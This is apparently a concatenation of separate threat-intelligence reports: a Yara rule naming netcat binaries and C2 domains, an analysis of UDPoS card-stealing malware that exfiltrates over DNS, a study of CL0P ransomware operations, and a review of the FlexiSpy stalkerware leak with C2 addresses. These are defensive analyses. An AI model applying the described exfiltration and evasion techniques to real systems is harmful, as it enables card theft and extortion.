- 6edbf8b3f94d29be7c24676fbf2d1e4cdf00b1f7b9f31c2ce458d1e21b23af97
- 3eecd459aa454f7973048af310c7086ff4a74efd5a3aee9f909cca324a0e2013
- a9f5e4c294ce6fb3bbdc4cd1ce3b23136005ce1dd57b2e8d20ed2161eea9f62b
- 6d3e7adcf9626bbee6935c6e8ced13831ac419be19b9d13bc361bda402fbaca7
- 18dec7d69a8eae1e78f8720ac3b6c8a5d1bb4c2f039a2d85bf77b01a82dc6912
- b11243ac75e5c3e343615889dbe28e51b1795dc5628e0f12e03b7192ca61bc60
- e1642bbe8a8ef616c97f34b835bc4f229f0e15c4619451e641462a44f476b46b
- 6ec51cb47c72c572c683c07d971c80b9a4fc60c65c4e1af1524fb8595a653e0d
- cea68f294d0a21f19d79b2c3eefa762c1c295076c37c6c5b644e84e9a45dd2d2
- 910e829f476fea4c406ebf760f4f8946448e236d110866f66c54257944d01906
- 489d24447898ac587dedd8b8c097bf33ea7a3c639a978910f582015f4a229d5e
- 688c5918872d45e1b375c3c65a453a8e891012fd9a4e35ceb1fa8cb24d2ffb68
- 95280d20abbea35b435402ad06484938edad733dc94ba6271aed3cc1bd9887cf
- c2455b94bc8c5a05ebddf7e1736ca5a2bcbc728da6e07fb51a507ce9866d0ae8
- 5b2f437bda3faa40073b441469694faae8f121b50b1fcfd6fdc0fa7288c082c9
- 4087e880e5b658ff1f917fef17d2fd95c4382cefbbc08baf860cabd749c65e50
- 505cedb52e044c7bdbd52ce7a392f78ccd7663ecfb07d23b314717dfacecf3f1
- 0f1e223eaf8b6d71f65960f8b9e14c98ba62e585334a6349bcd02216f4415868
- 097baea0616eaaab899f8d68e919bcaa66d77667a0f98b9ec643b7db980ec8d3
- 24b47abad994181eb1ab660ec91d5fe4facd018d406f4312d6bc804a31254739
- 5773e1821d336a1d72e72973319cc48f956ce4ff6888cd8734ee5a2c880fe484
## Yara rule
```yara
rule pistacchietto_campaign_0219 {
meta:
description = "Yara rule for Pistacchietto campaign"
author = "Yoroi ZLab - Cybaze"
last_updated = "2019-03-01"
tlp = "white"
category = "informational"
strings:
$nc = "nc.exe" wide ascii
$nc64 = "nc64.exe" wide ascii
$dns1 = "config02.addns.org" wide ascii
$dns2 = "config01.homepc.it" wide ascii
$dns3 = "verifiche.ddns.net" wide ascii
$dns4 = "paner.altervista.org" wide ascii
$dns5 = "certificates.ddns.net" wide ascii
$id = "pistacchietto" wide ascii
$path = "/svc/wup.php?pc=" wide ascii
condition:
(1 of ($nc*)) and (1 of ($dns*)) or $id or $path
}
```
This blog post was authored by Antonio Farina and Luca Mella of Cybaze-Yoroi Z-LAB. |
# UDPoS - Exfiltrating Credit Card Data via DNS
In the current era of mass malware, it's becoming increasingly rare to find something beyond the ‘usual suspects’ we see being spread by high-profile botnets on a regular basis: Dridex spread by Necurs, the ever-increasing number of ransomware families, cryptocurrency miners, credential stealers… the list goes on. These sorts of malware generally make up the majority of incoming malicious samples and are, from a researcher's standpoint, typically not very interesting. However, in amongst the digital haystack, there exists the occasional needle: we recently came across a sample apparently disguised as a LogMeIn service pack which generated notable amounts of 'unusual' DNS requests. Deeper investigation revealed something of a flawed gem, ultimately designed to steal magnetic stripe payment card data: a hallmark of PoS malware.
Point of Sale malware has been around for some time and has been deployed against a broad range of businesses from retailers to hotel groups. However, this appears to be a new family which we are currently calling 'UDPoS' owing to its heavy use of UDP-based DNS traffic. At the time of writing, it's unclear whether the malware is currently being used in campaigns in the wild, although the coordinated use of LogMeIn-themed filenames and C2 URLs, coupled with evidence of an earlier Intel-themed variant, suggest that it may well be.
**Note:** We have been in contact with LogMeIn throughout this investigation to help determine whether their services or products may have been abused as part of the malware deployment process. No evidence of this was found, and it appears that the use of LogMeIn-themed filenames and C2 domain by the actors behind the malware is a simple ‘camouflage’ technique.
## A Set of Two - Service & Monitor
Behavioural analysis of the initial sample we discovered, a file named logmeinumon.exe, showed it contacting a similarly LogMeIn-themed C2 server hosted by a Swiss-based VPS provider. Investigation of the C2 revealed it also to be hosting the original dropper file, update.exe. This file is a 7-Zip self-extracting archive containing LogmeinServicePack_5.115.22.001.exe and logmeinumon.exe. Both of the LogMeIn-themed files have a compilation timestamp of 25 October 2017, suggesting that this is a relatively recent campaign.
Upon executing update.exe, its content is extracted to the %TEMP% directory and LogmeinServicePack_5.115.22.001.exe is automatically launched using 7-Zip's built-in RunProgram feature. LogmeinServicePack_5.115.22.001.exe – which we have called the service component – is responsible for setting up the malware by placing files into the System32\LogMeInUpdService directory and creating a new system service for persistence. It does this via a batch file with a semi-random filename embedding standard Windows commands for file and service operations. Once finished, it passes over execution to the monitoring component by launching logmeinumon.exe.
This monitoring component has an almost identical structure to the service component. It's compiled by the same Visual Studio build and uses the same string encoding technique: both executables contain only a few identifiable plain-text strings and instead use a basic encryption and encoding method to hide strings such as the C2 server, filenames, and hard-coded process names.
## Evasive Manoeuvres
Despite maintaining a small footprint – only 88kb in size – the monitor component is a multi-threaded application which creates five different threads after its initialisation code is completed. This initialisation code is mainly responsible for decrypting and decoding the malware's internal strings, attempting to carry out an anti-AV/VM check, and either creating or loading an existing ‘Machine ID’ stored in a file called hdwid.dat in the same directory where the executables are deployed. This randomly generated identifier is used as {Machine ID} in all of the DNS queries detailed within this blog.
For the anti-AV and anti-VM solution, there are four DLL and three Named Pipe identifiers stored in both service and monitor components. However, only the monitor component makes use of these and, moreover, the code responsible for opening module handles is flawed: it will only try to open cmdvrt32.dll – a library related to Comodo security products – and nothing else. It is unclear at present whether this is a reflection of the malware still being in a relatively early stage of development/testing or a straightforward error on the part of the developers.
## Initialisation & Evasion
After initialisation, including after reboots, the monitor component performs a DNS query on the embedded C2 address and retrieves the external IP address of the infected machine via an HTTP GET request: `{C2URL}/index.php/?udpool={Machine ID}`. The first time the malware is run, it also generates a batch file called infobat.bat which is similar in structure to the one examined for the service component. This file uses a number of standard Windows commands to create a comprehensive fingerprint of the infected machine containing network, system, route, and process related information. This data is written to a local file called PCi.jpg and sent to the C2 server via DNS. Once complete, a flag is set in hdwid.dat.
Whether this is intended for use later for lateral movement is unclear, but this information alone would be sufficient to treat this executable as malicious: the network map, list of running processes, and list of installed security updates is highly valuable information.
## DNS Comms & Post Setup Functionality
After the initial HTTP request to determine its external IP address, the monitor component appears to communicate exclusively via fake DNS requests, all of which follow the format `{Machine ID}.{Message Type}.xxxx.xxxx.xxxx.xxxx` where {Machine ID} is always 15 characters long, {Message Type} is taken from a set of pre-defined strings, and the actual message components 'xxxx' can vary in length, but never exceed 31 characters.
Our analysis identified five possible values for the {Message Type} field: bin, info, ping, trp, and note. The bin messages are used to transmit the initial burst of data gathered into PCi.jpg by the infobat.bat process, while ping is a heartbeat message sent to the C2 every 60 minutes. Info messages - as the name suggests - are purely informational and are dispatched alongside ping messages: `{PCNAME}; {USERNAME}; [NS:IP {C2URL}:{C2IP}]`.
The note and trp message types required further analysis and relate to the core functionality of the malware. Investigating the functionality spread across the additional threads revealed a process designed to collect Track 1 and Track 2 payment card data by scraping the memory of running processes. These processes are checked against an embedded and pre-defined blacklist of common system process and browser names, with only ones not present on the list being scanned. If Track 1/2 data is found in memory, it will be extracted as is, converted to, and sent as a trp message. A note message will also be generated and transmitted with the following content: `[IP : {ipaddr} ] - String found in: {processname} -`. The malware further logs this process name to a file called sinf.dat, the number of total processes with successful extraction to hdwid.dat, and saves a hash of the trp message to udwupd.kdl, presumably for the purpose of keeping track of what has already been submitted to the C2 server. All five message types are logged to the `{Machine ID}.dat` file prior to transmission.
## Timelines
As the underlying intent of the malware became clear to us, we attempted to identify further samples from the same family to determine whether this was something new (and possibly still being tested before deployment) or part of an ongoing campaign. These efforts revealed another service component, but unfortunately not the corresponding monitor nor the parent 7-Zip SFX archive. Interestingly, this second service component was named ‘Intel Upgrade Services’ and apparently intended to masquerade as an Intel update as opposed to a LogMeIn update. Based on the compilation dates of the executables, the Intel-themed sample was created two weeks prior to the LogMeIn-themed one on 11 October 2017. Whether this is a sign that authors of the malware were not successful in deploying it at first or whether these are two different campaigns cannot be fully determined at this time due to the lack of additional executables.
## Design Decisions and Detection Rate
The coding style and techniques seen within the malware can hardly be described as outstanding. Beyond the faulty evasion code noted above, using data files written to disk instead of working predominantly in memory – besides leaving unnecessary trails – is rarely the trademark of bleeding edge malware and, equally, there are more advanced ways of fingerprinting a PC and generating a report. That said, the method used in this sample does appear to get the job done.
On the other hand, DNS-based communication and data exfiltration is genuinely unusual – although not unique – and can be quite effective. Nearly all companies have firewalls and other protections in place to monitor and filter TCP- and UDP-based communications; however, DNS is still often treated differently, providing a golden opportunity to leak data. The overall impression is of a piece of malware inspired by the success of (and some of the better ideas and techniques employed by) its predecessors.
Detection rates for the malware are still very low for the monitor component at the time of writing. Visibility is always an issue when it comes to non-traditional malware: samples which do not target standard endpoints or servers can quite easily be missed because of the lack of focus on protecting these sorts of systems.
## Conclusion
Discovering a unique piece of malware is a rare event these days and UDPoS, while unusual, is not a new concept. There have been several Point of Sale malware families identified over the past few years, all with the same goal: harvesting credit card data on a large scale – consider how many different cards may be used in stores, bars, or restaurants across the course of a day, let alone weeks or months.
From a consumer standpoint, protecting oneself against this sort of threat can be a tricky proposition for individuals: a PoS terminal could conceivably remain infected for significant lengths of time. However, enabling reporting on your credit card activity (many banks offer SMS, Push, and email alerts) can greatly reduce the time of discovery – and therefore recovery – if abuse does occur.
For many businesses, the situation may not be much better: legacy PoS systems are often based on variations of the Windows XP kernel and, in large retailers, may be present on hundreds or even thousands of devices. While Windows POSReady is in extended support until January 2019, it is still fundamentally an operating system which is seventeen years old this year.
As UDPoS highlights, exfiltrating stolen credit card data can and will result in unusual patterns of activity on the machines (DNS traffic in this case). By identifying and reacting to these patterns, businesses – both PoS terminal owners and suppliers - can close down this sort of attack sooner.
## Protection Statement
Forcepoint customers are protected against this threat at the following stages of attack:
- **Stage 5 (Dropper File):** Malicious files are prevented from being downloaded.
- **Stage 6 (Call Home):** Attempts to contact the C2 server are blocked.
## Indicators of Compromise
**C2 Server:**
- service-logmeln.network
**SHA1 File Hashes:**
- 19453b2dc788d393670db611116dcbc3994a1b4
- ba3dc114f848a60f7af83533580b08c682d6f280
- d9f58b3c17a2a7b689bb3ed42bce6a5eb7855569
- aab16598debb234a9a3732e45d1d1ef369da27d1
## About Forcepoint
Forcepoint is the leading user and data protection cybersecurity company, entrusted to safeguard organizations while driving digital transformation and growth. Our solutions adapt in real-time to how people interact with data, providing secure access while enabling employees to create value. |
# Inside of CL0P’s Ransomware Operation
**Blog.Telekom**
**01‑14‑2021**
**Thomas Barabosch**
**17 Comments**
TA505 (also known as FIN11) is a financially motivated cybercrime actor. They conduct Big Game Hunting operations, such as deployment of ransomware and extortion of large ransom payments. In the past, I explained how they operate and scrutinized their tools. If you are not familiar with TA505 and CL0P, I recommend reading our threat actor profile of TA505 first.
## Insights into TA505’s Ransomware Operations
Three waves of spam originating from TA505 were observed in 2020: they started in January/February, followed by a longer period during summer from June until September, and a very short period in early December. Throughout the months without spamming activity, they added more victims to their ransomware portal “CL0P^-LEAKS”. This blog post gives insights into their ransomware operations. First, I’ll detail the activity of these operations throughout the last months. Next, I’ll describe what kind of victim information CL0P samples contain and explore why there are often multiple CL0P samples that can be attributed to one victim. Finally, I’ll have a look at their two online portals that support their operations: their leak portal “CL0P^-LEAKS” and their negotiation portal that they utilize to come to agreements with victims.
Our Incident Response Service at Deutsche Telekom Security GmbH can quickly investigate and remediate ongoing TA505 intrusions. Please contact security-info@t-systems.com for more information.
## TA505 and CL0P Operations from June 2020 until December 2020
In the following, I’ll give an overview of TA505’s activity during the second half of 2020. There were two periods of spamming activity, followed by two periods of CL0P deployments.
### First Activity Period
The first period of spamming activity began on 2020-06-02 and ceased on 2020-09-11. During this period, TA505 sent out phishing emails nearly each workday to gain a foothold in many networks. Subsequently, they would filter down on interesting corporate networks and then advance their intrusion by moving laterally.
The end date of the observed spamming activity is particularly interesting due to an announcement from Secura. On 2020-09-11, which was a Friday and therefore the last day of a typical TA505 spam week, Secura announced the Zerologon vulnerability. It is only speculation why TA505 did not continue its spamming activity on the next Monday: either it was the publication of Zerologon that ended their spamming activity abruptly or they grasped the opportunity to quickly move laterally in selected networks.
In September and October 2020, CL0P was able to deploy their ransomware at several victims. The observed cases took mostly place on Friday and Saturday.
### Second Activity Period
In mid-December 2020, TA505 returned for less than two weeks of spamming activity, likely to compromise possible victim networks for CL0P deployment during the Christmas holidays 2020. Another motive might be to acquire access to new victim networks in order to resume operation in January/February 2021.
As of the time of writing, there are no new victims listed on their leak portal “CL0P^-LEAKS”. However, I found several CL0P samples indicating that the CL0P operators tried to deploy their ransomware in two networks during Christmas. There are rumors that one of these victims paid more than 200 Bitcoins (BTC) (almost six million dollars) ransom.
## CL0P Ransomware
CL0P is the ransomware that is deployed after initial TA505 intrusions. Each CL0P sample is unique to a victim. First, it contains a 1024 bits RSA public key used in the data encryption. Second, it contains a personalized ransom note.
The ransomware is written in C++ and developed under Visual Studio 2015 (14.0). So far, I’ve only observed CL0P samples for the x86 architecture. The unpacked sample size is between 100 KB and 200 KB. CL0P renames encrypted files and adds either the “.Cllp” or the “.CI0p” file ending.
The ransomware contains a 1024 bits RSA public key, which is unique to each victim. While 1024 bit RSA keys are deprecated, factoring of 1024 bit keys is still quite far away. As of January 2021, the largest publicly known RSA key that was factored as part of the RSA Factoring Challenge had 829 bits.
There is already a good write-up of CL0P’s functionality from S2W LAB. Therefore, I’ll refrain from describing how CL0P encrypts a system. Instead, I’ll look into how it decrypts its embedded ransom note and cases where there are multiple samples that can be attributed to a victim.
### Decryption of Embedded Ransom Note
Each CL0P sample contains a ransom note, which is stored as a resource in the PE executable. Across several CL0P samples, the resource string 0x99AB and the resource type ID_HTML were consistent. This resource is a binary blob that is encoded with a XOR cipher. Each sample contains a 33 bytes long hard-coded XOR key. As of the time of writing, I came across two different keys that the CL0P operators reutilized across several samples.
The following screenshot shows the function responsible for storing the ransom note. Its only parameter is the path where to store the ransom note. The name of the ransom note is hardcoded (“README_README.txt”). First, this function builds the full path of the ransom note and tries to create a file there. On success, it fetches the resource with name 0x99AB and reserves memory for the decrypted ransom note. In a for loop, each byte of the encrypted ransom note is XORed with a byte from the hard-coded XOR key. This key byte is determined using the position of the current byte modulo the size of the hard-coded key, which is 33 bytes. Afterwards, the function stores the decrypted ransom note and cleans up.
This note is specifically crafted for the victim. Let’s have a look at a redacted ransom note that a recent CL0P sample dropped:
To reiterate what this ransom note comprises:
- The name of the victim
- Information about sensitive data they exfiltrated
- File share paths
- User names as part of these paths
- The amount of data they exfiltrated
- A .onion link to their leak portal “CL0P^-LEAKS”
- Several email addresses to contact
Firstly, these are sensitive information about the victim. Secondly, this is information to interact with the CL0P operators. Therefore, it is recommendable to never upload ransomware samples to the Internet.
Given the ransom note, attribution to a victim is possible. In the following, I’ll use this to investigate a very interesting trial and error behavior observed during CL0P intrusions.
### Trial and Error: Why Are There Several Samples per Victim?
During the last three months, I could find more than a dozen CL0P samples on VirusTotal. In multiple occurrences, there are several samples of CL0P that can be attributed to one victim. These samples are compiled within a time frame of a couple of hours. In at least one incident response engagement, we could corroborate this behavior as well.
The question arises: why are there several samples per victim? In the following sections, I’ll investigate the cases of four CL0P victims where multiple samples can be attributed to the same victim. The attribution to a victim occurs based on two data points. First, CL0P samples comprise a ransom note that mentions the victim name. Second, I consider CL0P’s time stamps legitimate. This is in line with what we’ve seen in several incident response engagements.
#### Victim A
The case of victim A occurred on a Saturday during Autumn 2020. Both samples were compiled on the same day within 30 minutes. The following table lists important properties regarding both samples:
| Property | Sample 1 | Sample 2 |
|------------------|-------------------------------------|-------------------------------------|
| Time Stamp | 15:59:25 | 16:29:46 |
| Service Name | MMCCSS | VVSBUILDTPT2 |
| Anti Antivirus | McAfee | Appcheck |
| Mutex Name | GJLKWHTJIOPK#GBFSgt233r2fdsfds;6y2#666 | Gslkjrhtoji4k32mtiguj42kl |
| Certificate | Signed (revoked) | Not signed |
The first deployment of CL0P failed since the endpoint detection blocked Sample 1. As a consequence, they compiled Sample 2. They changed the service name that CL0P registers as well as the mutex name it uses to ensure that not more than one instance runs on a system. Furthermore, they exchanged the functionality to deal with McAfee antivirus. The operators defaulted to functionality to deal with Appcheck, which was already observed in December 2019.
Interesting is that the first sample is signed with a (now) revoked certificate but the second sample is not signed. Either the operators forgot to sign the second sample after the compilation or the signing is carried out as a service by another entity and the operators did not bother to sign the second sample.
The case of victim A shows that the CL0P operators adjust their ransomware in a trial and error fashion during the deployment stage. This may give us some hints regarding the relationship between the operators and developers of CL0P.
We can spin up several hypotheses. Either the operators and developers are the same, or the operators work very closely with the developers who assist with recompilation during the deployment stage. Another hypothesis is that the operators have access to the source code, are capable of changing the source code, recompiling it, and finally deploying the new binary. This is not typical behavior seen by actors working as part of a Ransomware-as-a-Service program.
#### Victim B
The case of victim B took place during a Saturday in November 2020. Both samples were compiled on the same day within 15 minutes. I list the relevant properties of both samples in the following table:
| Property | Sample 1 | Sample 2 |
|------------------|-------------------------------------|-------------------------------------|
| Time Stamp | 14:28:00 | 14:43:58 |
| Service Name | WinCheckDRVs (not installed) | WinCheckDRVs |
| Anti Antivirus | Many | None |
| Mutex Name | GKLJHWRnjktn32uyhrjn23io#666 | 666GKLJHWRnjktn32uyhrjn23io#666 |
| Certificate | Signed (revoked) | Not signed |
Sample 1 is not capable of encryption. The CL0P operators changed the WinMain function of this sample so that instead of encrypting the system, it runs a long sequence of ShellExecuteA calls in order to kill several processes and stop several services.
Sample 2, which was utilized to encrypt the infrastructure, is fully working. It does not comprise any functionality to cope with antivirus products. This is what Sample 1 (probably) achieved. The same service name was utilized but they slightly changed the mutex name by prepending another “666” to the mutex name string.
Again, Sample 1 is signed with a (now) revoked certificate but Sample 2 is not signed. In the case of victim B, the CL0P gang encrypted the network but they did not achieve their objective of being paid a ransom.
#### Victim C + D
The cases of victim C and victim D happened during the Christmas holidays 2020. Both cases occurred during the same day. All three samples that I’m aware of were compiled on the same day within seven hours. The following table summarizes important properties of them:
| Property | Sample 1 | Sample 3 | Sample 4 |
|------------------|-------------------------------------|-------------------------------------|-------------------------------------|
| Time Stamp | 14:35:55 | 15:42:22 | 21:45:45 |
| Service Name | None | BFEFservs | BFEFservs |
| Anti Antivirus | Many | None | None |
| Mutex Name | None | TWrsg24gredgre#W#666 | TWrsg24gredgre#W#666 |
| Certificate | Not signed | Not signed | Not signed |
In the case of victim C, I could only find one sample (Sample 1) and I am missing the second one (Sample 2). The CL0P operators compiled Sample 1 again with a long sequence of ShellExecuteA calls to kill services/stop processes. This includes several security solutions like McAfee and Sophos. Sample 1 does not conduct any encryption of files as it exits after the ShellExecuteA calls.
As of the time of writing, Victim C is not listed on CL0P’s leak portal. Therefore, we can suppose only two things: either this was a failed intrusion and the ransomware was never rolled out because something went wrong during the deployment of Sample 1 or Sample 2. Or the CL0P operators deployed Sample 2 successfully, victim C paid the ransom, and is therefore not listed on the leak portal.
In the case of victim D, I found two samples. Both samples were compiled on the same day but within six hours. Both samples comprise the ransomware logic. The semantic capabilities of both samples are almost equal. The difference between Sample 3 and Sample 4 is not as clear as in the cases of victim A and victim B, though.
In contrast to victim C, we’ve got clear indications letting us assume that CL0P achieved their objective of successfully encrypting victim D’s infrastructure.
## CL0P’s Online Presences
CL0P maintains two online presences to support its Big Game Hunting operations. The first presence is their leak portal called “CL0P^-LEAKS”. Its purpose is to frighten future victims by hosting sensitive data of past victims that didn’t pay the ransom. The second presence is their negotiation portal. This serves as a “customer support” for victims that are willing to come to an agreement and pay the ransom.
### Victim Intimidation: CL0P’s Leak Portal
CL0P is one of the ransomware gangs that adopted the double extortion technique. Before they deploy their ransomware, they exfiltrate up to terabytes of sensitive data from the victim’s network. In case the victim had proper backups set up and is not willing to pay the ransom, they still can threaten to publish this data on their leak portal “CL0P^-LEAKS”. The portal lists 19 victims in January 2021, the majority of them residing in Germany.
In comparison to other ransomware gangs, CL0P is very ruthless. In some cases, they host terabytes of very sensitive data of their victims for months on their leak portal. The CL0P operators added the first victims in Spring of 2020, which they are still hosting after 9 months.
As stated before, CL0P is going after the data of top executives. Several of their recent ransom notes explicitly name data stolen from workstations that belong to top executives (including founders/CEOs) of the respective enterprises. This is likely based on the hope that using data stolen from top executives in the extortion process raises their chances that the victim pays. Nevertheless, they still exfiltrate data from network shares (e.g., finance/human resources data).
### Victim Support: CL0P’s Negotiation Portal
The sustainability of CL0P relies on victims paying the ransom. Based on their continuous operation, one has to assume that a good portion of the victims agree to pay the significant ransoms. Apart from their leak portal “CL0P^-LEAKS”, they offer a negotiation portal for every victim. This is their tool to come to an agreement with victims that are willing to pay.
As of the time of writing, the ransom note comprises the link to this portal. I was able to extract the ransom note from several CL0P samples. The ransom notes show that a separate .onion link is created for each victim.
These services are:
- **Chat**: a support chat where the cybercriminals guide the victims through the negotiation process
- **Demo decrypt**: a decryption tool that victims can use to decrypt up to five files of their choice
- **Buy bitcoin**: information on how to buy bitcoins
- **News**: colorful screenshots of news related to CL0P’s latest cyberattacks
- **About us**: further links about them
The CL0P operators try to convince their victims to pay by showing off their history of hacks in a colorful way (Section “News”). Links to third-party websites (Section “About Us”) give more background information on them.
The negotiation process follows the same pattern as with other ransomware gangs. The tone of the conversation is helpful and direct but never hostile. First, they ask if their interlocutor is authorized to negotiate and mention that they are just interested in the money.
> “Our goal is money, we are not interested in causing harm. We tell you the amount we want to receive for unblocking the network and deleting all the files that we have downloaded from you. We come to an agreement and after receiving the money, you receive a decryptor and proof of file deletion.”
If both parties come to an agreement, then the CL0P operators provide a decryptor and proof that they’ve deleted all exfiltrated files. In exchange, they want money in bitcoin. They offer the free decryption of up to five non-critical files to prove that they can decrypt the victim’s network and to show the victim their goodwill.
They demand amounts of 5% to 10% of the annual revenue but they tell victims that discounts of up to 30% are possible if they come to an agreement within less than half a week. Nevertheless, they are open to further bargaining so that the final ransom is way less than the initial demand of 5% to 10% of the annual revenue.
Once both parties agreed on a price, the CL0P operators offer further support and suggestions on how to make transfers in Bitcoin. They are willing to accept small fluctuations due to Bitcoin. Though, they know that Bitcoin fluctuates a lot and they only fix a ransom for 24 hours.
After they received the ransom in their Bitcoin wallet, they still continue their support. Victims are typically very concerned about three things. First, what data CL0P was able to exfiltrate and that they receive a file deletion report. Second, they require further support to decrypt their infrastructure. Third, they want a report on how the network breach happened. The CL0P operators seem to help victims with these issues even after they’ve already been paid.
## Conclusion
CL0P was one of the most active Big Game Hunting operations in 2020. They were able to breach several large enterprises. Their intrusions are linked to TA505. I expect that these intrusions continue with the same speed and frequency in 2021.
CL0P samples comprise personalized ransom notes that mention the victim and give away crucial details about the negotiation process. The CL0P operators offer their own portal for negotiations, including a support service via chat.
In cases where victims do not pay the ransom, they upload large amounts of sensitive data to their portal “CL0P^-LEAKS”. As of the time of writing, they continue to host this data there, in some cases for more than nine months.
I documented the trial and error behavior observed during CL0P deployments: in several deployments, there is more than one sample that is linked to a victim. In some cases, it seems that the first sample was an initial test to see whether the endpoint detection blocks the sample. In other cases, the first sample does not contain the decryption capability since the operators likely commented it out for this build.
This shows that the CL0P operators have access to the source code of CL0P. They are capable of compiling and quickly fixing issues in it during an ongoing deployment. This underlines the assumption that this ransomware gang is a closed group of individuals sharing mutual resources and working closely together. |
# Let's Talk About FlexiSpy
## Introduction
I started this blog post to explain the context of FlexiSpy leaks and show some information I have found during my analysis. This information is incomplete and there is still plenty of analysis of source code or binaries to be done. I have uploaded the source code and binaries on GitHub so that everyone can help with it. I will try to report in this article the publications I have seen on it, but feel free to ping me on Twitter if you see new information or have any questions.
## FlexiWho?
FlexiSpy is one of these companies selling surveillance software to people who want to spy on their wife/husband/partner (a.k.a. StalkerWare). You think that it is creepy? Well, it is likely worse than you imagine. First, there are dozens of companies like FlexiSpy, selling software allowing to remotely track everything the other person is doing: emails, calls, chat apps, calendar… The market is so developed that you can even find websites ranking them. The impact is really awful: a 2015 women’s aid survey showed that 29% of women experiencing domestic abuse had a spyware or GPS locator installed on their phone. FlexiSpy is not even the bigger StalkerWare seller (Mspy seems to have more than one million customers) but they have something specific: in February a Forbes article showed that FlexiSpy is sharing part of its code with a tool called FinFisher, done by a UK-German company called Gamma International.
FinFisher is also a tool to spy on computers and smartphones but specifically for Law Enforcement and Intelligence agencies, and although their website pretends that it is used against crime, we have seen consistent utilization of this spyware against activists or political opponents:
- In March 2011, Egyptian protesters who broke into the headquarters of the Egyptian intelligence service found contracts between Gamma Group and the Egyptian government.
- Since 2012, it was used several times against Bahrain political activists. Gamma denied selling FinFisher to the Bahrain government and stated that their software could have been stolen, but leaked Gamma documents later showed that not only Gamma sold their product to the Bahraini government but also that they knew that their tool was used to target journalists and political dissidents.
- In 2013, Citizen Lab researchers identified FinFisher samples used against political groups in Ethiopia, in Vietnam, and in 25 other countries. An Ethiopian political dissident in exile in London, Tadesse Kersmo, discovered with this report that he was targeted and that his computer was successfully compromised with FinFisher.
- In 2015, Privacy International researchers confirmed the use of FinFisher against political opponents in Uganda.
In 2015, Citizen Lab researchers scanned the Internet for FinFisher servers and identified 33 countries using the product.
## So What?
Last week, we learned something interesting: two persons decided that the StalkerWare business was not ethically acceptable and went after FlexiSpy and another company called Retina-X. They found vulnerabilities in their systems, successfully hacked them, stole all their information, and wiped the disks. They finally shared some of their files with Motherboard journalists through their SecureDrop instance.
We learned some interesting facts from the first article published by Motherboard but also in the interview they gave and in the last Motherboard article about FlexiSpy:
- FlexiSpy started from a small Thai company called Vervata in 2004, developing software until they started a first spying tool for Symbian in 2006. They later started a company called “Digital Endpoint” selling products to monitor employees.
- They started a sister company called “RaySoft” selling to Law Enforcement agencies, and then a partnership with Gamma in 2011 on this market.
- Around 130,000 people had an account on Retina-X or FlexiSpy platforms.
- The hack was apparently quite easy and exploited a bug in the API.
- The hacker called Leopard Boy (a reference to the classic 1995 Hacker Movie) is apparently going to continue targeting companies doing this business: “It’s the beginning of a reign of terror across this entire industry. I’m going to burn them to the ground, and leave absolutely nowhere for any of them to hide.”
But more interesting, the Leopard Boy hacker started yesterday to publish documents and code on his Twitter account @fleximinx. I have uploaded the source code and binaries on a GitHub repository and I will go through the interesting information I got from them during the past days.
## What did we get?
So what did we get in these leaks:
- Documents about the FlexiSpy and sister companies.
- Source code of FlexiSpy Android App v1.00.1 and 1.00.4.
- Source code of Blackberry spyware v.1.03.2 (from Jan 2012).
- Source code of iPhone spyware version 4.9.1.
- Binaries of FlexiSpy malware for all platforms.
## A View Of FlexiSpy Market Strategy
One document named Flexi - Battleplan gives an interesting view of FlexiSpy market strategy (the document is from June 2009). Their strategy focuses mainly on buying Adwords and bidding more on Adwords used by their competitors on which they did an advanced analysis. Then they define different Adwords campaigns including a creepy one. We also learn that they created a website reviewing spy software (which is not online anymore but I bet FlexiSpy had good reviews).
## They Don’t Like Taxes
Two documents give also an interesting view on their off-shore strategy, first with the link between their companies. But also with a copy of their contract with the notorious Mossack Fonseca lawyer firm in the Seychelles (Mossack Fonseca was the company at the center of the Panama Papers).
## Installing Cyclops
Cyclops is the name of a surveillance tool used by Gamma and FlexiSpy (I don’t know exactly what is the difference with FinFisher, it may be FlexiSpy's internal name), and the install documentation (from 2011) leaked clearly confirms the collaboration between FlexiSpy and Gamma. This document seems to indicate that FlexiSpy was actually developing Cyclops while Gamma was reselling it and maintaining it without involvement in the development of the tool. But as @Josephfcox pointed out on Twitter, it is possible that it was a proposal for a customer that never happened (I doubt it though).
## And Then Atlantis Arrived
Atlantis is an enterprise product to monitor employees' mobile devices. It seems to be a FlexiSpy product in this documentation, but it may be the product which later led to the creation of the Digital Endpoint company. These documents also give an idea of the price (in 2012).
## Android Source Code
The Android source code leaked is for the version 1.00.1 while the Android APKs are in version 2.24.3 and 2.25.1, so it seems to be pretty old code. Nevertheless, we can quickly get the IP addresses and domains used by the application:
- 192.168.2.60 and 192.168.2.116 are used as a dev IP.
- 58.137.119.227
- hxxp://58.137.119.227:880/RainbowCore/gateway/unstructured
- hxxp://58.137.119.227:880/RainbowCore/gateway
- 58.137.119.229:
- hxxp://58.137.119.229/RainbowCore
- hxxp://58.137.119.229/RainbowCore/gateway
- 58.137.119.230
- hxxp://58.137.119.230/Core/gateway
- hxxp://www.vervata.com
- hxxp://www.flexispy.com
- trkps[.]com
- hxxp://trkps.com/m.php?lat=%f&long=%f&t=%s&i=%s&z=5
Please note that all the URLs in the code are in HTTP and not HTTPS.
@ben_ra started an analysis of the Android source code and binaries here: Part 1 and Part 2. According to @PaulWebSec, they achieve persistence by mounting /system as read/write and installing the spyware in the system folder.
## Binaries
The following binaries were leaked:
- d46af65cb7bd12ce77b4d88bbdd4a005 5000_1.1.4.sisx VirusTotal
- 39be87178c84d4afd07a80323a1d4b91 5002_2.24.3_green.APK VirusTotal
- a5b589f4edac1aea9952d3faff261817 5002_-2.25.1_green.APK VirusTotal
- 306adab7cfcb0d9a13956ca9e9dbd59a 5003_1.4.2.jad VirusTotal
- eb295fe2e40f12014cdb05de07edcae2 5006_-1.0.12.exe VirusTotal
- 8f6a42defdc8632c1baf961d7d9c3e5b 5006_1.0.13.exe VirusTotal
- fa26d3c6fe253a354ed95e5dbb5067c6 5006_1.0.13.ZIP VirusTotal
- 4efd37a38a56c650906d2ed76ceaaa6a 5007_1.1.1.pkg VirusTotal
## Gamma Certificates
Among the files leaked, we find two certificates used by the Gamma group to sign Symbian software. Both certificates are signed by a company called “Cyan Engineering Services SAL”:
- Issuer: C=GB, ST=London, L=Southwark, O=Symbian Software Limited, CN=Symbian Developer Certificate CA 280205A/emailAddress=developercertificates@symbian.com
- Validity
- Not Before: May 25 04:07:05 2011 GMT
- Not After: May 25 04:07:05 2014 GMT
